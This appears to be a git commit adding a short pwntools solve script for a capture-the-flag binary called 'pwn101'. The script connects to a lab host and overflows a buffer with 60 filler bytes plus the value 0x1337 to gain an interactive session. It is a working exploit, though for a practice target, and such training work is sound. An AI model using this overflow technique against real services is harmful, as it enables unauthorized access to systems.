solve script

This commit is contained in:
jc
2024-10-27 22:32:08 +03:00
parent a90b87e454
commit db18ac85fd
+17
View File
@@ -0,0 +1,17 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./pwn101", checksec=False)
# r = process()
r = remote("10.10.110.117", 9001)
# funcs
s = lambda a: r.sendlineafter(b":", a)
# buf
buf = b"A"*60
buf += p32(0x1337)
s(buf)
r.interactive()